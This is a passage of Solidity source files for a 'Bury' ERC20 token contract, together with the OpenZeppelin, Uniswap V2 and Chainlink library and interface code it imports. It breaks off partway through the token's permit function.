编译器
0.8.23+commit.f704f362
文件 1 的 20：AggregatorV3Interface.sol
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(
uint80 _roundId
) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
文件 2 的 20：Context.sol
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
文件 3 的 20：ECDSA.sol
pragma solidity ^0.8.20;
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS
}
error ECDSAInvalidSignature();
error ECDSAInvalidSignatureLength(uint256 length);
error ECDSAInvalidSignatureS(bytes32 s);
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else {
return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
_throwError(error, errorArg);
return recovered;
}
function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {
unchecked {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
}
function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
_throwError(error, errorArg);
return recovered;
}
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError, bytes32) {
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS, s);
}
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature, bytes32(0));
}
return (signer, RecoverError.NoError, bytes32(0));
}
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
_throwError(error, errorArg);
return recovered;
}
function _throwError(RecoverError error, bytes32 errorArg) private pure {
if (error == RecoverError.NoError) {
return;
} else if (error == RecoverError.InvalidSignature) {
revert ECDSAInvalidSignature();
} else if (error == RecoverError.InvalidSignatureLength) {
revert ECDSAInvalidSignatureLength(uint256(errorArg));
} else if (error == RecoverError.InvalidSignatureS) {
revert ECDSAInvalidSignatureS(errorArg);
}
}
}
文件 4 的 20：EIP712.sol
pragma solidity ^0.8.20;
import {MessageHashUtils} from "./MessageHashUtils.sol";
import {ShortStrings, ShortString} from "../ShortStrings.sol";
import {IERC5267} from "../../interfaces/IERC5267.sol";
abstract contract EIP712 is IERC5267 {
using ShortStrings for *;
bytes32 private constant TYPE_HASH =
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 private immutable _cachedDomainSeparator;
uint256 private immutable _cachedChainId;
address private immutable _cachedThis;
bytes32 private immutable _hashedName;
bytes32 private immutable _hashedVersion;
ShortString private immutable _name;
ShortString private immutable _version;
string private _nameFallback;
string private _versionFallback;
constructor(string memory name, string memory version) {
_name = name.toShortStringWithFallback(_nameFallback);
_version = version.toShortStringWithFallback(_versionFallback);
_hashedName = keccak256(bytes(name));
_hashedVersion = keccak256(bytes(version));
_cachedChainId = block.chainid;
_cachedDomainSeparator = _buildDomainSeparator();
_cachedThis = address(this);
}
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
return _cachedDomainSeparator;
} else {
return _buildDomainSeparator();
}
}
function _buildDomainSeparator() private view returns (bytes32) {
return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function eip712Domain()
public
view
virtual
returns (
bytes1 fields,
string memory name,
string memory version,
uint256 chainId,
address verifyingContract,
bytes32 salt,
uint256[] memory extensions
)
{
return (
hex"0f",
_EIP712Name(),
_EIP712Version(),
block.chainid,
address(this),
bytes32(0),
new uint256[](0)
);
}
function _EIP712Name() internal view returns (string memory) {
return _name.toStringWithFallback(_nameFallback);
}
function _EIP712Version() internal view returns (string memory) {
return _version.toStringWithFallback(_versionFallback);
}
}
文件 5 的 20：IERC20.sol
pragma solidity ^0.8.20;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
文件 6 的 20：IERC20Permit.sol
pragma solidity ^0.8.20;
interface IERC20Permit {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
文件 7 的 20：IERC5267.sol
pragma solidity ^0.8.20;
interface IERC5267 {
event EIP712DomainChanged();
function eip712Domain()
external
view
returns (
bytes1 fields,
string memory name,
string memory version,
uint256 chainId,
address verifyingContract,
bytes32 salt,
uint256[] memory extensions
);
}
文件 8 的 20：IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
文件 9 的 20：IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
文件 10 的 20：IUniswapV2Router02.sol
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
文件 11 的 20：IWETH.sol
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
文件 12 的 20：Math.sol
pragma solidity ^0.8.20;
library Math {
error MathOverflowedMulDiv();
enum Rounding {
Floor,
Ceil,
Trunc,
Expand
}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
if (b == 0) {
return a / b;
}
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
uint256 prod0 = x * y;
uint256 prod1;
assembly {
let mm := mulmod(x, y, not(0))
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
if (denominator <= prod1) {
revert MathOverflowedMulDiv();
}
uint256 remainder;
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
uint256 twos = denominator & (0 - denominator);
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
uint256 inverse = (3 * denominator) ^ 2;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
inverse *= 2 - denominator * inverse;
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 result = 1 << (log2(a) >> 1);
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
}
}
function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
return uint8(rounding) % 2 == 1;
}
}
文件 13 的 20：MessageHashUtils.sol
pragma solidity ^0.8.20;
import {Strings} from "../Strings.sol";
library MessageHashUtils {
function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32")
mstore(0x1c, messageHash)
digest := keccak256(0x00, 0x3c)
}
}
function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {
return
keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message));
}
function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(hex"19_00", validator, data));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
assembly {
let ptr := mload(0x40)
mstore(ptr, hex"19_01")
mstore(add(ptr, 0x02), domainSeparator)
mstore(add(ptr, 0x22), structHash)
digest := keccak256(ptr, 0x42)
}
}
}
文件 14 的 20：Nonces.sol
pragma solidity ^0.8.20;
abstract contract Nonces {
error InvalidAccountNonce(address account, uint256 currentNonce);
mapping(address account => uint256) private _nonces;
function nonces(address owner) public view virtual returns (uint256) {
return _nonces[owner];
}
function _useNonce(address owner) internal virtual returns (uint256) {
unchecked {
return _nonces[owner]++;
}
}
function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
uint256 current = _useNonce(owner);
if (nonce != current) {
revert InvalidAccountNonce(owner, current);
}
}
}
文件 15 的 20：Ownable.sol
pragma solidity ^0.8.20;
import {Context} from "../utils/Context.sol";
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
文件 16 的 20：ShortStrings.sol
pragma solidity ^0.8.20;
import {StorageSlot} from "./StorageSlot.sol";
type ShortString is bytes32;
library ShortStrings {
bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;
error StringTooLong(string str);
error InvalidShortString();
function toShortString(string memory str) internal pure returns (ShortString) {
bytes memory bstr = bytes(str);
if (bstr.length > 31) {
revert StringTooLong(str);
}
return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
}
function toString(ShortString sstr) internal pure returns (string memory) {
uint256 len = byteLength(sstr);
string memory str = new string(32);
assembly {
mstore(str, len)
mstore(add(str, 0x20), sstr)
}
return str;
}
function byteLength(ShortString sstr) internal pure returns (uint256) {
uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
if (result > 31) {
revert InvalidShortString();
}
return result;
}
function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
if (bytes(value).length < 32) {
return toShortString(value);
} else {
StorageSlot.getStringSlot(store).value = value;
return ShortString.wrap(FALLBACK_SENTINEL);
}
}
function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
return toString(value);
} else {
return store;
}
}
function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
return byteLength(value);
} else {
return bytes(store).length;
}
}
}
文件 17 的 20：SignedMath.sol
pragma solidity ^0.8.20;
library SignedMath {
function max(int256 a, int256 b) internal pure returns (int256) {
return a > b ? a : b;
}
function min(int256 a, int256 b) internal pure returns (int256) {
return a < b ? a : b;
}
function average(int256 a, int256 b) internal pure returns (int256) {
int256 x = (a & b) + ((a ^ b) >> 1);
return x + (int256(uint256(x) >> 255) & (a ^ b));
}
function abs(int256 n) internal pure returns (uint256) {
unchecked {
return uint256(n >= 0 ? n : -n);
}
}
}
文件 18 的 20：StorageSlot.sol
pragma solidity ^0.8.20;
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
struct StringSlot {
string value;
}
struct BytesSlot {
bytes value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
assembly {
r.slot := slot
}
}
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
assembly {
r.slot := store.slot
}
}
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
assembly {
r.slot := store.slot
}
}
}
文件 19 的 20：Strings.sol
pragma solidity ^0.8.20;
import {Math} from "./math/Math.sol";
import {SignedMath} from "./math/SignedMath.sol";
library Strings {
bytes16 private constant HEX_DIGITS = "0123456789abcdef";
uint8 private constant ADDRESS_LENGTH = 20;
error StringsInsufficientHexLength(uint256 value, uint256 length);
function toString(uint256 value) internal pure returns (string memory) {
unchecked {
uint256 length = Math.log10(value) + 1;
string memory buffer = new string(length);
uint256 ptr;
assembly {
ptr := add(buffer, add(32, length))
}
while (true) {
ptr--;
assembly {
mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))
}
value /= 10;
if (value == 0) break;
}
return buffer;
}
}
function toStringSigned(int256 value) internal pure returns (string memory) {
return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value)));
}
function toHexString(uint256 value) internal pure returns (string memory) {
unchecked {
return toHexString(value, Math.log256(value) + 1);
}
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
uint256 localValue = value;
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = HEX_DIGITS[localValue & 0xf];
localValue >>= 4;
}
if (localValue != 0) {
revert StringsInsufficientHexLength(value, length);
}
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);
}
function equal(string memory a, string memory b) internal pure returns (bool) {
return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));
}
}
文件 20 的 20：Token.sol
pragma solidity ^0.8.23;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Permit} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol";
import {EIP712} from "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import {Nonces} from "@openzeppelin/contracts/utils/Nonces.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import {IWETH} from "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract Bury is IERC20, IERC20Permit, EIP712, Nonces, Ownable {
uint256 internal constant MAX = ~uint256(0);
string private _name = "Bury";
string private constant _symbol = "BURY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _excludedFromFee;
mapping(address => bool) private _excludedFromDividend;
uint256 public dividendShares = 1;
uint256 public dividendPerToken;
uint256 public dividendBalanceTotal;
uint256 public dividendClaimedTotal;
mapping(address => uint256) dividendBalance;
mapping(address => uint256) dividendCredited;
mapping(address => uint256) dividendClaimed;
uint256 private constant _tTotal = 100_000_000 gwei;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 internal constant P_GWEI = 10 ** _decimals;
uint256 internal constant P_ETHER = 10 ** (_decimals * 2);
uint256 internal constant P_GETHER = P_GWEI * P_ETHER;
uint256 internal immutable KECCAK256_SEED;
bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
address public constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public constant ORACLE = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant ZERO_ADDRESS = 0x0000000000000000000000000000000000000000;
address public constant NULL_ADDRESS = 0x000000000000000000000000000000000000dEaD;
address public immutable PAIR;
address public immutable BURY;
IUniswapV2Router02 public constant router = IUniswapV2Router02(ROUTER);
IUniswapV2Factory public constant factory = IUniswapV2Factory(FACTORY);
AggregatorV3Interface public constant oracle = AggregatorV3Interface(ORACLE);
IERC20 public constant weth = IERC20(WETH);
IWETH public constant weth9 = IWETH(WETH);
uint256 public constant maxTransfer = 2_000_000 * P_GWEI;
uint256 public constant maxWallet = 2_000_000 * P_GWEI;
uint256 public constant minSwap = 100 * P_GWEI;
bool public tradingEnabled = false;
bool public maxTransferEnabled = true;
bool public maxWalletEnabled = true;
bool private _awaitingUniswapCall;
bool private _awaitingUniswapTrade;
uint256 private _buyFeeMarketing = 2;
uint256 private _buyFeeRevShare = 2;
uint256 private _sellFeeMarketing = 2;
uint256 private _sellFeeRevShare = 2;
uint256 private _totalFeeMarketing = _buyFeeMarketing + _sellFeeMarketing;
uint256 private _totalFeeRevShare = _buyFeeRevShare + _sellFeeRevShare;
uint256 private _buyFeeTotal = _buyFeeMarketing + _buyFeeRevShare;
uint256 private _sellFeeTotal = _sellFeeMarketing + _sellFeeRevShare;
uint256 private _tFeePct = _buyFeeTotal;
uint256 private constant _rFeePct = 0;
address payable public immutable marketingWallet = payable(msg.sender);
event SwapBURYToETH(uint256 tokens);
event ClaimMarketingFee(uint256 eth, bool success, bytes data);
event DepositRevenueShare(address indexed from, uint256 value);
event ClaimRevenueShare(address indexed to, uint256 value, bool success, bytes data);
event Burn(uint256 tokens);
error ERC2612ExpiredSignature(uint256 deadline);
error ERC2612InvalidSigner(address signer, address owner);
error Keccak256Error();
error AllowanceExceeded(uint256 amount, uint256 allowance);
error ApprovalFromZero();
error ApprovalToZero();
error TransferFromZero();
error TransferToZero();
error TransferOfZero();
error BalanceExceeded(uint256 amount, uint256 balance);
error TradingDisabled();
error MaxTransfer();
error MaxWallet();
modifier keccak256_verify(string calldata _INPUT_DECODED) {
if (keccak256(abi.encodePacked(_INPUT_DECODED)) != bytes32(KECCAK256_SEED)) {
revert Keccak256Error();
}
_;
}
modifier awaitInternalSwap {
_awaitingUniswapCall = true;
_;
_awaitingUniswapCall = false;
}
constructor(uint256 _KECCAK256_SEED) EIP712(_name, "1") Ownable(msg.sender) {
BURY = address(this);
PAIR = factory.createPair(BURY, WETH);
KECCAK256_SEED = _KECCAK256_SEED;
_excludedFromFee[msg.sender] = true;
_excludedFromFee[BURY] = true;
_excludedFromDividend[msg.sender] = true;
_excludedFromDividend[BURY] = true;
_excludedFromDividend[ROUTER] = true;
_excludedFromDividend[PAIR] = true;
_excludedFromDividend[ZERO_ADDRESS] = true;
_excludedFromDividend[NULL_ADDRESS] = true;
_approve(BURY, ROUTER, MAX);
_approve(msg.sender, ROUTER, MAX);
_rOwned[msg.sender] = _rTotal;
emit Transfer(ZERO_ADDRESS, msg.sender, _tTotal);
}
receive() external payable {}
fallback() external payable {}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 _allowance = _allowances[sender][_msgSender()];
if (amount > _allowance) {
revert AllowanceExceeded(amount, _allowance);
}
_approve(sender, _msgSender(), _allowance - amount);
return true;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function burn(uint256 value) external virtual {
if (value > balanceOf(msg.sender)) {
revert BalanceExceeded(value, balanceOf(msg.sender));
}
_tokenTransfer(msg.sender, ZERO_ADDRESS, value, false);
emit Burn(value);
}
function burnFrom(address account, uint256 value) external virtual {
if (value > balanceOf(account)) {
revert BalanceExceeded(value, balanceOf(account));
}
_tokenTransfer(account, ZERO_ADDRESS, value, false);
uint256 _allowance = _allowances[account][_msgSender()];
if (value > _allowance) {
revert AllowanceExceeded(value, _allowance);
}
_approve(account, _msgSender(), _allowance - value);
emit Burn(value);
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" );
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
if (block.timestamp > deadline) {
revert ERC2612ExpiredSignature(deadline);
}
